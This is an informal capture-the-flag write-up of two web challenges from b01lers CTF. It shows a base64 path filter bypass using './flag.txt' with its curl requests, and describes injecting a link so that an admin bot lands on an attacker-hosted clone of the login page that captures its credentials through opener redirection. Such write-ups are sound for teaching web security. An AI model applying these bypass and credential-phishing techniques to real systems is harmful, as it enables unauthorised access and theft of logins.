Cause I was lazy, I didn’t do ctf for a long time. If i say “cause I was busy”, it looks fucking stupid. When I’m solving, the time of ctf is only 5 hours, so i just decided to solve the web challenge
warmup 100 Points
1 2 3
My first flask app, I hope you like it http://ctf.b01lers.com:5115 Author: CygnusX
I got the result of curl as above. there is comment called “debug.html”.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
❯ curl -i http://ctf.b01lers.com:5115/debug.html HTTP/1.1 500 INTERNAL SERVER ERROR Server: Werkzeug/2.2.3 Python/3.8.16 Date: Mon, 20 Mar 2023 03:16:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 265 Connection: close
<!doctype html> <html lang=en> <title>500 Internal Server Error</title> <h1>Internal Server Error</h1> <p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
~ ❯
But an error occured when I’m executing a command like this. If you check an url when you connected first, file name sent in base64. so if we wanna connect to debug.html, we have to connect to ZGVidWcuaHRtbA==.
defvalidate(data): if data == b'flag.txt': returnTrue returnFalse
if __name__ == '__main__': app.run()
I got the code of app.py via filename called YXBwLnB5. we can know that the flag is in flag.txt via code but server is blocking the character called flag.txt but it doesn’t matter because we can bypass via the current path mark like ./flag.txt
1 2 3 4 5 6 7 8 9 10 11
❯ curl -i http://ctf.b01lers.com:5115/Li9mbGFnLnR4dA== HTTP/1.1 200 OK Server: Werkzeug/2.2.3 Python/3.8.16 Date: Mon, 20 Mar 2023 03:26:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 45 Connection: close
bctf{h4d_fun_w1th_my_l4st_m1nut3_w4rmuP????!} ~ ❯
fishy-motd 263 Points
1 2 3
I just created a tool to deploy messages to server admins in our company. They *love* clicking on them too! http://ctf.b01lers.com:5110 Author: 0xMihir
server.get('/login', (req, res) => { const id = req.query.motd; if (!id) { fs.readFile('./login.html', 'utf8', (err, data) => { if (err) { console.log(err); res.status(500).send('Internal server error, please open a ticket'); } else { res.type('text/html').send(data.toString().replace('{{motd}}', 'Welcome to the server!')); } }); } else { if (id in messages) { fs.readFile('./login.html', 'utf8', (err, data) => { if (err) { console.log(err); res.status(500).send('Internal server error, please open a ticket'); } else { res.type('text/html').send(data.toString().replace('{{motd}}', messages[id])); } }); } else { res.send('MOTD not found'); } } });
if (username === user && password === pass) { res.send(flag); } else { res.send('Incorrect username or password'); } });
server.get('/start', async (req, res) => { const id = req.query.motd; if (id && id in messages) { try { const result = awaitadminBot(id); if (result.error) { res.send(result.error) } else { res.send('Hope everyone liked your message!') } } catch (err) { console.log(err); res.send('Something went wrong, please open a ticket'); } } else { res.send('MOTD not found'); } });
server.post('/motd', (req, res) => { const motd = req.body.motd; const id = nanoid(); messages[id] = motd; fs.readFile('./motd.html', 'utf8', (err, data) => { if (err) { console.log(err); res.status(500).send('Internal server error, please open a ticket'); } else { res.type('text/html').send(data.toString().replaceAll('{{id}}', id)); } }); })
server.get('/motd', (req, res) => { res.send('Please use the form to submit a message of the day.'); });
server.listen({ port, host: '0.0.0.0' }, (err, address) => { if (err) { console.error(err); process.exit(1); } console.log(`Server listening at ${address}`); });
the condition of get a flag is log-in with an account of admin but we can’t log in normally because we can’t know an account of admin. but there is admin bot. the admin bot clicks specific coordinates, inputs the admin’s ID and password, and logs in.
Also, in the login page, we can insert the motd value we created, and HTML code can be inserted via this logic.
on the login page, CSP is set as above. the script can’t be executed because default-src is none. also, since form-src is self, even if an arbitrary form tag is added, data is not received by the personal server.
but here’s the strange part. The admin bot clicks once on coordinates (10,10). after that, click the coordinates (10, 10) above, and after 5 seconds, enter the account of admin in the login form and log in.
If we insert a personal server link at coordinates (10, 10) using the a tag, the admin bot will click the link and move to the personal server. Since there is an interval of 5 seconds here, it is enough time for all pages to be rendered.
Copy the login.html file, upload it to the personal server, and move the admin bot here to induce the admin account information to be transmitted to the personal server.
I created login.html on my personal server as above.
but in the admim bot, the logic to check the current origin is added as above. So we shouldn’t go to the current page via the private server link. Open the private server in a new window using the blank option, and stay on the origin of the admin server for 1 second. but in this case, the personal server opens in a new window, so the log-in logic is just done on the problem server.
but we can use the opener object to redirect an existing window to a desired location. Since the opener object points to the window at the existing window that opened itself, the existing window can also be redirected to the private server by using opener.location.href on the private server.